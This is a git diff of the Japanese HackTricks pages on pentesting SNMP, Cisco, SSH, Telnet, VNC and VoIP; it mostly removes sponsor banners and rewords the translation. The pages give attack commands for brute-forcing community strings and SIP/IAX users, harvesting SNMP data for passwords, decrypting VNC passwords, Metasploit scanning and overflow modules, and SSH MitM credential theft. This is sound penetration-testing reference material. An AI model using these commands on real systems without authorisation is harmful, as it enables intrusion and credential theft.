- -もしあなたが**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたいなら - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 - -{% embed url="https://www.stmcyber.com/careers" %} - ## 基本情報 -**SNMP - シンプルネットワーク管理プロトコル**は、ネットワーク内のさまざまなデバイス(ルーター、スイッチ、プリンター、IoTなど)を監視するために使用されるプロトコルです。 +**SNMP - シンプルネットワーク管理プロトコル** は、ネットワーク内のさまざまなデバイス(ルーター、スイッチ、プリンター、IoT など)を監視するために使用されるプロトコルです。 ``` PORT STATE SERVICE REASON VERSION 161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public) @@ -21,7 +15,7 @@ PORT STATE SERVICE REASON VERSION ### MIB SNMPアクセスが異なるメーカーやクライアント-サーバーの組み合わせで機能することを保証するために、**管理情報ベース(MIB)**が作成されました。MIBは、**デバイス情報を保存するための独立したフォーマット**です。MIBは、デバイスのすべてのクエリ可能な**SNMPオブジェクト**が**標準化された**ツリー階層にリストされている**テキスト**ファイルです。少なくとも1つの`オブジェクト識別子(OID)`が含まれており、必要な**一意のアドレス**と**名前**に加えて、タイプ、アクセス権、およびそれぞれのオブジェクトの説明に関する情報も提供します。\ -MIBファイルは、`抽象構文記法1(ASN.1)`に基づくASCIIテキスト形式で記述されています。**MIBはデータを含まない**が、**どこにどの情報があるか**、それがどのように見えるか、特定のOIDに対して返される値、または使用されるデータ型について説明します。 +MIBファイルは、`抽象構文表記法1(ASN.1)`に基づくASCIIテキストフォーマットで記述されています。**MIBはデータを含まない**が、**どこにどの情報があるか**、それがどのように見えるか、特定のOIDに対して返される値、または使用されるデータ型について説明します。 ### OIDs @@ -29,7 +23,7 @@ MIBファイルは、`抽象構文記法1(ASN.1)`に基づくASCIIテキス MIBオブジェクトID、またはOIDの最上位レベルは、さまざまな標準設定機関に割り当てられています。これらの上位レベル内で、グローバルな管理慣行と標準の枠組みが確立されます。 -さらに、ベンダーはプライベートブランチを設立する自由が与えられています。これらのブランチ内では、**自社の製品ラインに関連する管理対象オブジェクトを含める自主性**があります。このシステムは、異なるベンダーや標準にわたるさまざまなオブジェクトを識別し管理するための構造化された方法を確保します。 +さらに、ベンダーはプライベートブランチを設立する自由が与えられています。これらのブランチ内では、**自社の製品ラインに関連する管理対象オブジェクトを含める自主性**があります。このシステムは、異なるベンダーや標準間でのオブジェクトの識別と管理のための構造化された方法を確保します。 ![](<../../images/SNMP_OID_MIB_Tree (1).png>) @@ -51,12 +45,12 @@ MIBオブジェクトID、またはOIDの最上位レベルは、さまざまな - 4 – この値は、このデバイスが政府機関ではなく民間組織によって製造されたことを示します。 - 1 – この値は、デバイスが企業またはビジネスエンティティによって製造されたことを示します。 -これらの最初の6つの値はすべてのデバイスで同じ傾向があり、基本的な情報を提供します。この数字のシーケンスは、デバイスが政府によって製造されていない限り、すべてのOIDで同じになります。 +これらの最初の6つの値はすべてのデバイスで同じ傾向があり、基本的な情報を提供します。この数列は、デバイスが政府によって製造されていない限り、すべてのOIDで同じになります。 -次の数字のセットに進みます。 +次の数のセットに進みます。 - 1452 – このデバイスを製造した組織の名前を示します。 -- 1 – デバイスのタイプを説明します。この場合、アラームクロックです。 +- 1 – デバイスのタイプを説明します。この場合、アラーム時計です。 - 2 – このデバイスがリモートターミナルユニットであることを示します。 残りの値はデバイスに関する特定の情報を提供します。 @@ -87,7 +81,7 @@ SNMPには2つの重要なバージョンがあります。 **OIDの書き込み可能性は使用されるコミュニティ文字列に依存する**ため、**たとえ**「**public**」が使用されている場合でも、**いくつかの値を書き込むことができるかもしれません。**また、**常に「読み取り専用」のオブジェクトが存在する可能性があります。**\ オブジェクトに**書き込もうとすると、`noSuchName`または`readOnly`エラーが返されます\*\*.\*\* -バージョン1および2/2cでは、**悪い**コミュニティ文字列を使用すると、サーバーは**応答しません**。したがって、応答がある場合は、**有効なコミュニティ文字列が使用された**ことになります。 +バージョン1および2/2cでは、**不正な**コミュニティ文字列を使用すると、サーバーは**応答しません**。したがって、応答がある場合は、**有効なコミュニティ文字列が使用された**ことになります。 ## ポート @@ -99,7 +93,7 @@ SNMPには2つの重要なバージョンがあります。 ## ブルートフォースコミュニティ文字列(v1およびv2c) -**コミュニティ文字列を推測するために**辞書攻撃を実行することができます。SNMPに対するブルートフォース攻撃を実行するさまざまな方法については[こちらを確認してください](../../generic-hacking/brute-force.md#snmp)。よく使用されるコミュニティ文字列は`public`です。 +**コミュニティ文字列を推測するために**辞書攻撃を実行することができます。[ここでSNMPに対するブルートフォース攻撃を実行するさまざまな方法を確認してください](../../generic-hacking/brute-force.md#snmp)。よく使用されるコミュニティ文字列は`public`です。 ## SNMPの列挙 @@ -140,14 +134,14 @@ snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull ### アクセス設定 -**完全OIDツリー**へのアクセスを可能にする2つの主要な設定があります。これはネットワーク管理において重要な要素です: +**フルOIDツリー**へのアクセスを可能にする2つの主要な設定があります。これはネットワーク管理において重要な要素です: -1. **`rwuser noauth`**は、認証なしでOIDツリーへの完全アクセスを許可するように設定されています。この設定は簡単で、制限のないアクセスを可能にします。 +1. **`rwuser noauth`**は、認証なしでOIDツリーへのフルアクセスを許可するように設定されています。この設定は簡単で、制限のないアクセスを可能にします。 2. より具体的な制御のために、以下を使用してアクセスを付与できます: - **`rwcommunity`**は**IPv4**アドレス用、そして - **`rwcommunity6`**は**IPv6**アドレス用です。 -両方のコマンドは**コミュニティストリング**と関連するIPアドレスを必要とし、リクエストの起源に関係なく完全なアクセスを提供します。 +両方のコマンドは**コミュニティ文字列**と関連するIPアドレスを必要とし、リクエストの起源に関係なくフルアクセスを提供します。 ### Microsoft WindowsのSNMPパラメータ @@ -171,29 +165,29 @@ cisco-snmp.md ## SNMPからRCEへ -SNMPサービス内で**値を書き込む**ことを許可する**ストリング**を持っている場合、それを悪用して**コマンドを実行**できるかもしれません: +SNMPサービス内で**値を書き込む**ことを許可する**文字列**を持っている場合、それを悪用して**コマンドを実行**できるかもしれません: {{#ref}} snmp-rce.md {{#endref}} -## **大規模SNMP** +## **マッシブSNMP** -[Braa](https://github.com/mteg/braa)は大規模SNMPスキャナーです。このようなツールの意図された使用法はもちろん、SNMPクエリを行うことですが、net-snmpのsnmpwalkとは異なり、数十または数百のホストに同時に、かつ単一のプロセスでクエリを行うことができます。したがって、非常に少ないシステムリソースを消費し、スキャンを非常に速く行います。 +[Braa](https://github.com/mteg/braa)は、大規模なSNMPスキャナーです。このようなツールの意図された使用法は、もちろんSNMPクエリを行うことですが、net-snmpのsnmpwalkとは異なり、数十または数百のホストに同時に、かつ単一のプロセスでクエリを行うことができます。したがって、非常に少ないシステムリソースを消費し、非常に速くスキャンを行います。 Braaは独自のSNMPスタックを実装しているため、net-snmpのようなSNMPライブラリは必要ありません。 -**構文:** braa \[コミュニティストリング]@\ [SNMPサーバーのIP]:\[iso id] +**構文:** braa \[Community-string]@\ [SNMPサーバーのIP]:\[iso id] ```bash braa ignite123@192.168.1.125:.1.3.6.* ``` これは手動で処理できない多くのMBの情報を抽出できます。 -では、最も興味深い情報を見てみましょう([https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)): +では、最も興味深い情報を探してみましょう([https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)): ### **デバイス** -プロセスは、各ファイルからデバイスを特定するために**sysDesc MIBデータ**(1.3.6.1.2.1.1.1.0)を抽出することから始まります。これは**grepコマンド**を使用して実行されます: +プロセスは、各ファイルから**sysDesc MIBデータ**(1.3.6.1.2.1.1.1.0)を抽出してデバイスを特定することから始まります。これは**grepコマンド**を使用して実行されます: ```bash grep ".1.3.6.1.2.1.1.1.0" *.snmp ``` @@ -205,7 +199,7 @@ grep -i "trap" *.snmp ``` ### **ユーザー名/パスワード** -MIBテーブルに保存されたログは、**ログオン試行の失敗**を調べるために検査され、これにはユーザー名として入力されたパスワードが含まれる可能性があります。_fail_、_failed_、または _login_ などのキーワードが、貴重なデータを見つけるために検索されます: +MIBテーブルに保存されたログは、**ログオン試行の失敗**を調べるために検査され、これには誤ってユーザー名として入力されたパスワードが含まれる可能性があります。_fail_、_failed_、または _login_ などのキーワードが、貴重なデータを見つけるために検索されます: ```bash grep -i "login\|fail" *.snmp ``` @@ -229,12 +223,6 @@ ACLが特定のIPのみがSNMPサービスをクエリできるように制限 - snmpd.conf - snmp-config.xml -
- -**ハッキングキャリア**に興味があり、ハッキング不可能なものをハックしたい方 - **私たちは採用中です!** (_流暢なポーランド語の読み書きが必要です_)。 - -{% embed url="https://www.stmcyber.com/careers" %} - ## HackTricks自動コマンド ``` Protocol_Name: SNMP #Protocol Abbreviation if there is one. diff --git a/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md b/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md index 6c782fc5e..6f36ae6ce 100644 --- a/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md +++ b/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md @@ -2,34 +2,28 @@ {{#include ../../banners/hacktricks-training.md}} -
- -もしあなたが**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたいなら - **私たちは採用しています!**(_流暢なポーランド語の読み書きが必要_)。 - -{% embed url="https://www.stmcyber.com/careers" %} - ## Ciscoネットワークのペンテスト -**SNMP**はUDP上で動作し、一般的なメッセージにはポート161/UDP、トラップメッセージにはポート162/UDPを使用します。このプロトコルはコミュニティ文字列に依存しており、SNMPエージェントとサーバー間の通信を可能にするパスワードとして機能します。これらの文字列はアクセスレベルを決定するため、特に**読み取り専用(RO)または読み書き(RW)権限**において重要です。ペンテスターにとっての注目すべき攻撃ベクターは、**コミュニティ文字列のブルートフォース攻撃**であり、ネットワークデバイスに侵入することを目的としています。 +**SNMP**は、一般的なメッセージ用にポート161/UDP、トラップメッセージ用にポート162/UDPでUDP上で機能します。このプロトコルはコミュニティ文字列に依存しており、SNMPエージェントとサーバー間の通信を可能にするパスワードとして機能します。これらの文字列はアクセスレベルを決定するため、特に**読み取り専用(RO)または読み書き(RW)権限**において重要です。ペンテスターにとっての注目すべき攻撃ベクターは、**コミュニティ文字列のブルートフォース攻撃**であり、ネットワークデバイスに侵入することを目的としています。 -そのようなブルートフォース攻撃を実行するための実用的なツールは[**onesixtyone**](https://github.com/trailofbits/onesixtyone)であり、潜在的なコミュニティ文字列のリストとターゲットのIPアドレスが必要です: +このようなブルートフォース攻撃を実行するための実用的なツールは[**onesixtyone**](https://github.com/trailofbits/onesixtyone)であり、潜在的なコミュニティ文字列のリストとターゲットのIPアドレスが必要です。 ```bash onesixtyone -c communitystrings -i targets ``` #### `cisco_config_tftp` -Metasploitフレームワークには、デバイスの設定を抽出するための`cisco_config_tftp`モジュールがあり、RWコミュニティ文字列を取得することが条件です。この操作に必要なパラメータは以下の通りです: +Metasploitフレームワークには、デバイスの設定を抽出するための`cisco_config_tftp`モジュールがあり、RWコミュニティ文字列の取得に依存しています。この操作に必要な重要なパラメータは次のとおりです: - RWコミュニティ文字列 (**COMMUNITY**) - 攻撃者のIP (**LHOST**) - ターゲットデバイスのIP (**RHOSTS**) - 設定ファイルの保存先パス (**OUTPUTDIR**) -設定が完了すると、このモジュールはデバイスの設定を指定されたフォルダに直接ダウンロードすることができます。 +設定が完了すると、このモジュールはデバイスの設定を指定されたフォルダーに直接ダウンロードすることを可能にします。 #### `snmp_enum` -別のMetasploitモジュール、**`snmp_enum`**は、詳細なハードウェア情報を収集することに特化しています。これは、いずれかのタイプのコミュニティ文字列で動作し、成功裏に実行するためにはターゲットのIPアドレスが必要です: +別のMetasploitモジュールである**`snmp_enum`**は、詳細なハードウェア情報を収集することに特化しています。これは、いずれかのタイプのコミュニティ文字列で動作し、成功裏に実行するためにはターゲットのIPアドレスが必要です: ```bash msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10 @@ -39,10 +33,5 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -
- -**ハッキングキャリア**に興味があり、アンハッカブルなものをハックしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 - -{% embed url="https://www.stmcyber.com/careers" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-ssh.md b/src/network-services-pentesting/pentesting-ssh.md index d245b56ab..a6a1167eb 100644 --- a/src/network-services-pentesting/pentesting-ssh.md +++ b/src/network-services-pentesting/pentesting-ssh.md @@ -2,15 +2,11 @@ {{#include ../banners/hacktricks-training.md}} -
-**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう! - -{% embed url="https://go.intigriti.com/hacktricks" %} ## 基本情報 -**SSH (Secure ShellまたはSecure Socket Shell)**は、未保護のネットワークを介してコンピュータに安全に接続するためのネットワークプロトコルです。リモートシステムにアクセスする際のデータの機密性と整合性を維持するために不可欠です。 +**SSH (セキュアシェルまたはセキュアソケットシェル)** は、未保護のネットワークを介してコンピュータへの安全な接続を可能にするネットワークプロトコルです。リモートシステムにアクセスする際のデータの機密性と整合性を維持するために不可欠です。 **デフォルトポート:** 22 ``` @@ -48,7 +44,7 @@ ssh-auditは、sshサーバーとクライアントの設定監査のための - SSHクライアント設定の分析; - バナーを取得し、デバイスまたはソフトウェアとオペレーティングシステムを認識し、圧縮を検出; - キー交換、ホストキー、暗号化およびメッセージ認証コードアルゴリズムを収集; -- アルゴリズム情報を出力(利用可能な時期、削除/無効、危険/弱/レガシーなど); +- アルゴリズム情報を出力(利用可能な時期、削除/無効、危険/弱い/レガシーなど); - アルゴリズムの推奨事項を出力(認識されたソフトウェアバージョンに基づいて追加または削除); - セキュリティ情報を出力(関連する問題、割り当てられたCVEリストなど); - アルゴリズム情報に基づいてSSHバージョンの互換性を分析; @@ -101,7 +97,7 @@ nmap -p22 --script ssh-auth-methods --script-args="ssh.user=root" # Check a ### ユーザー名列挙 -OpenSSHのいくつかのバージョンでは、タイミング攻撃を行ってユーザーを列挙することができます。これを利用するためにmetasploitモジュールを使用できます。 +OpenSSHのいくつかのバージョンでは、ユーザーを列挙するためにタイミング攻撃を行うことができます。これを利用するためにmetasploitモジュールを使用できます: ``` msf> use scanner/ssh/ssh_enumusers ``` @@ -111,7 +107,7 @@ msf> use scanner/ssh/ssh_enumusers ### プライベートキーのブルートフォース -使用できるsshプライベートキーをいくつか知っている場合... 試してみましょう。nmapスクリプトを使用できます: +使用できるsshプライベートキーを知っている場合... 試してみましょう。nmapスクリプトを使用できます: ``` https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html ``` @@ -127,9 +123,9 @@ msf> use scanner/ssh/ssh_identify_pubkeys #### 弱いSSHキー / Debianの予測可能なPRNG -一部のシステムには、暗号材料を生成するために使用されるランダムシードに既知の欠陥があります。これにより、キー空間が劇的に減少し、ブルートフォース攻撃が可能になります。弱いPRNGの影響を受けたDebianシステムで生成された事前生成されたキーセットはここで入手できます: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)。 +一部のシステムには、暗号材料を生成するために使用されるランダムシードに既知の欠陥があります。これにより、劇的に減少したキー空間が生じ、ブルートフォース攻撃が可能になります。弱いPRNGの影響を受けたDebianシステムで生成された事前生成されたキーセットはここにあります: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)。 -被害者のマシンの有効なキーを検索するためにここを確認する必要があります。 +被害者のマシンの有効なキーを検索するために、ここを確認する必要があります。 ### Kerberos @@ -157,7 +153,7 @@ msf> use scanner/ssh/ssh_identify_pubkeys ## SSH-MitM -被害者がユーザー名とパスワードを使用してSSHサーバーに接続しようとしている場合、ローカルネットワークにいる場合は、**MitM攻撃を実行してこれらの資格情報を盗むことができます:** +被害者がユーザー名とパスワードを使用してSSHサーバーに接続しようとしている場合、ローカルネットワークにいる場合は、**MitM攻撃を実行してその資格情報を盗むことができます:** **攻撃経路:** @@ -180,7 +176,7 @@ SSH-Snakeは、以下のタスクを自動的かつ再帰的に実行します 3. 発見されたすべてのプライベートキーを使用して、すべての宛先にSSH接続を試みる。 4. 宛先に正常に接続できた場合、接続したシステムでステップ#1 - #4を繰り返す。 -完全に自己複製し、自己伝播します -- そして完全にファイルレスです。 +これは完全に自己複製し、自己伝播します -- そして完全にファイルレスです。 ## 設定の誤設定 @@ -236,11 +232,11 @@ PermitTunnel no X11Forwarding no PermitTTY no ``` -この設定では、SFTPのみを許可します:開始コマンドを強制することでシェルアクセスを無効にし、TTYアクセスを無効にするだけでなく、すべての種類のポートフォワーディングやトンネリングも無効にします。 +この設定では、SFTPのみを許可します:開始コマンドを強制してシェルアクセスを無効にし、TTYアクセスも無効にし、すべての種類のポートフォワーディングやトンネリングも無効にします。 ### SFTPトンネリング -SFTPサーバーにアクセスできる場合、一般的なポートフォワーディングを使用して、トラフィックをこの経由でトンネルすることもできます: +SFTPサーバーにアクセスできる場合、一般的なポートフォワーディングを使用して、トラフィックをこの経由でトンネリングすることもできます: ```bash sudo ssh -L :: -N -f @ ``` @@ -252,7 +248,7 @@ sudo ssh -L :: -N -f @ symlink / froot ``` -もしウェブを通じてファイル "_froot_" にアクセスできれば、システムのルート ("/") フォルダーをリストすることができます。 +もしウェブを介してファイル "_froot_" にアクセスできれば、システムのルート ("/") フォルダーをリストすることができます。 ### 認証方法 @@ -269,7 +265,7 @@ ssh -v 192.168.1.94 -o PreferredAuthentications=password ... debug1: Next authentication method: password ``` -SSHサーバーの設定を確認することは、予期される方法のみが承認されていることを確認するために必要です。クライアントで詳細モードを使用すると、設定の効果を確認するのに役立ちます。 +SSHサーバーの設定を確認することは、予期される方法のみが許可されていることを確認するために必要です。クライアントで冗長モードを使用すると、設定の効果を確認するのに役立ちます。 ### 設定ファイル ```bash @@ -290,13 +286,7 @@ id_rsa - SSHを強化する方法に関する興味深いガイドは[https://www.ssh-audit.com/hardening_guides.html](https://www.ssh-audit.com/hardening_guides.html)で見つけることができます。 - [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide) -
- -**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です!今日[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう! - -{% embed url="https://go.intigriti.com/hacktricks" %} - -## HackTricks自動コマンド +## HackTricks 自動コマンド ``` Protocol_Name: SSH Port_Number: 22 diff --git a/src/network-services-pentesting/pentesting-telnet.md b/src/network-services-pentesting/pentesting-telnet.md index cf673eeb4..debc3b48c 100644 --- a/src/network-services-pentesting/pentesting-telnet.md +++ b/src/network-services-pentesting/pentesting-telnet.md @@ -2,17 +2,10 @@ {{#include ../banners/hacktricks-training.md}} -
- -**ウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** - -**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを利用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## **基本情報** -Telnetは、ユーザーにネットワークを介してコンピュータにアクセスするための安全でない方法を提供するネットワークプロトコルです。 +Telnetは、ユーザーがネットワークを介してコンピュータにアクセスするための安全でない方法を提供するネットワークプロトコルです。 **デフォルトポート:** 23 ``` @@ -30,7 +23,7 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 ``` スクリプト `telnet-ntlm-info.nse` は NTLM 情報 (Windows バージョン) を取得します。 -[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854) より: TELNET プロトコルには、ユーザーとサーバーが TELNET 接続のためにより複雑な(または単に異なる)一連の規約を使用することに合意できるようにするために、"**DO, DON'T, WILL, WON'T**" 構造で使用されるさまざまな "**options**" が含まれています。これらのオプションには、文字セットの変更、エコーモードの変更などが含まれる可能性があります。 +[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854) から: TELNET プロトコルには、ユーザーとサーバーが TELNET 接続のためにより複雑な(または単に異なる)一連の規約を使用することに合意できるようにするために、"**DO, DON'T, WILL, WON'T**" 構造と共に使用されるさまざまな "**options**" が含まれています。これらのオプションには、文字セットの変更、エコーモードの変更などが含まれる可能性があります。 **このオプションを列挙することが可能であることは知っていますが、方法がわからないので、知っている場合は教えてください。** @@ -74,12 +67,4 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit' ``` -
- -**ウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** - -**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを利用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-vnc.md b/src/network-services-pentesting/pentesting-vnc.md index 069a62ad0..db0a94e17 100644 --- a/src/network-services-pentesting/pentesting-vnc.md +++ b/src/network-services-pentesting/pentesting-vnc.md @@ -2,15 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -
- -もしあなたが**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたいなら - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 - -{% embed url="https://www.stmcyber.com/careers" %} - ## 基本情報 -**バーチャルネットワークコンピューティング (VNC)** は、**リモートフレームバッファ (RFB)** プロトコルを利用して、別のコンピュータとのリモートコントロールとコラボレーションを可能にする堅牢なグラフィカルデスクトップ共有システムです。VNCを使用すると、ユーザーはキーボードとマウスのイベントを双方向に送信することで、リモートコンピュータとシームレスに対話できます。これにより、リアルタイムアクセスが可能になり、ネットワークを介した効率的なリモート支援やコラボレーションが促進されます。 +**Virtual Network Computing (VNC)** は、**Remote Frame Buffer (RFB)** プロトコルを利用して、別のコンピュータとのリモート制御とコラボレーションを可能にする堅牢なグラフィカルデスクトップ共有システムです。VNCを使用すると、ユーザーはキーボードとマウスのイベントを双方向に送信することで、リモートコンピュータとシームレスに対話できます。これにより、リアルタイムアクセスが可能になり、ネットワークを介した効率的なリモート支援やコラボレーションが促進されます。 VNCは通常、ポート**5800または5801または5900または5901**を使用します。 ``` @@ -32,12 +26,12 @@ vncviewer [-passwd passwd.txt] ::5901 デフォルトの**パスワードは保存されています**: \~/.vnc/passwd -VNCパスワードを持っていて、それが暗号化されているように見える場合(数バイト、暗号化されたパスワードのように見える場合)、それはおそらく3desで暗号化されています。クリアテキストのパスワードは[https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)を使用して取得できます。 +VNCパスワードを持っていて、それが暗号化されているように見える場合(数バイト、暗号化されたパスワードのように見える場合)、おそらく3desで暗号化されています。平文のパスワードを取得するには[https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)を使用できます。 ```bash make vncpwd ``` -これができるのは、3des内で平文のVNCパスワードを暗号化するために使用されるパスワードが数年前に逆転されたからです。\ +これができるのは、3des内で平文のVNCパスワードを暗号化するために使用されたパスワードが数年前に逆転されたからです。\ **Windows**の場合、このツールも使用できます: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\ アクセスを容易にするために、ここにもツールを保存します: @@ -47,10 +41,5 @@ vncpwd - `port:5900 RFB` -
- -**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 - -{% embed url="https://www.stmcyber.com/careers" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-voip/README.md b/src/network-services-pentesting/pentesting-voip/README.md index 2f1e3b3f7..3a906e369 100644 --- a/src/network-services-pentesting/pentesting-voip/README.md +++ b/src/network-services-pentesting/pentesting-voip/README.md @@ -2,15 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -
- -**ウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** - -**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを利用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - -## VoIP 基本情報 +## VoIPの基本情報 VoIPの仕組みについて学ぶには、以下を確認してください: @@ -134,9 +126,9 @@ OPTIONS Query the capabilities of an endpoint RFC 3261 607 Unwanted 608 Rejected ``` -## VoIPの列挙 +## VoIP Enumeration -### 電話番号 +### Telephone Numbers Red Teamが最初に行うべきステップの一つは、OSINTツール、Google検索、またはウェブページのスクレイピングを使用して、会社に連絡するための利用可能な電話番号を検索することです。 @@ -185,7 +177,7 @@ inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministrati ``` ### OSINT情報 -VoIPソフトウェアを特定するのに役立つ他のOSINT列挙は、Red Teamにとって有益です。 +VoIPソフトウェアを特定するのに役立つその他のOSINT列挙は、Red Teamにとって有益です。 ### ネットワーク列挙 @@ -193,8 +185,8 @@ VoIPソフトウェアを特定するのに役立つ他のOSINT列挙は、Red T ```bash sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24 ``` -- **`svmap`** from SIPVicious (`sudo apt install sipvicious`): 指定されたネットワーク内のSIPサービスを特定します。 -- `svmap`は**簡単にブロック**できます。なぜなら、User-Agent `friendly-scanner`を使用するからですが、`/usr/share/sipvicious/sipvicious`のコードを変更することができます。 +- **`svmap`** は SIPVicious からのもので (`sudo apt install sipvicious`): 指定されたネットワーク内の SIP サービスを特定します。 +- `svmap` は **ブロックしやすい** です。なぜなら、User-Agent `friendly-scanner` を使用しているからですが、`/usr/share/sipvicious/sipvicious` からコードを変更することができます。 ```bash # Use --fp to fingerprint the services svmap 10.10.0.0/24 -p 5060-5070 [--fp] @@ -217,7 +209,7 @@ auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP) ``` #### 追加のネットワーク列挙 -PBXは、次のような他のネットワークサービスを公開している可能性があります: +PBXは、次のような他のネットワークサービスも公開している可能性があります: - **69/UDP (TFTP)**: ファームウェアの更新 - **80 (HTTP) / 443 (HTTPS)**: ウェブからデバイスを管理するため @@ -229,13 +221,13 @@ PBXは、次のような他のネットワークサービスを公開してい ### メソッド列挙 -PBXで使用可能な**メソッドを見つける**ことができます `SIPPTS enumerate` を使用して [**sippts**](https://github.com/Pepelux/sippts) +`SIPPTS enumerate`を使用してPBXで**利用可能なメソッド**を見つけることができます。[**sippts**](https://github.com/Pepelux/sippts) ```bash sippts enumerate -i 10.10.0.10 ``` ### サーバーの応答の分析 -サーバーが私たちに返すヘッダーを分析することは非常に重要です。これは、私たちが送信するメッセージの種類やヘッダーによって異なります。`SIPPTS send`を使用して[**sippts**](https://github.com/Pepelux/sippts)から、すべてのヘッダーを操作し、応答を分析するためのパーソナライズされたメッセージを送信できます。 +サーバーが私たちに返すヘッダーを分析することは非常に重要です。これは、私たちが送信するメッセージの種類やヘッダーによって異なります。`SIPPTS send`を使用して、[**sippts**](https://github.com/Pepelux/sippts)からパーソナライズされたメッセージを送信し、すべてのヘッダーを操作し、応答を分析することができます。 ```bash sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp ``` @@ -260,7 +252,7 @@ sippts exten -i 10.10.0.10 -r 5060 -e 100-200 auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP) auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP) ``` -- **`enumiax` (`apt install enumiax`): enumIAX** は Inter Asterisk Exchange プロトコルの **ユーザー名ブルートフォース列挙ツール** です。enumIAX は、2 つの異なるモードで動作することができます。シーケンシャルユーザー名推測または辞書攻撃です。 +- **`enumiax` (`apt install enumiax`): enumIAX** はインターアスタリスク交換プロトコルの **ユーザー名ブルートフォース列挙ツール** です。enumIAX は、2つの異なるモードで動作することができます。シーケンシャルユーザー名推測または辞書攻撃です。 ```bash enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary enumiax -v -m3 -M3 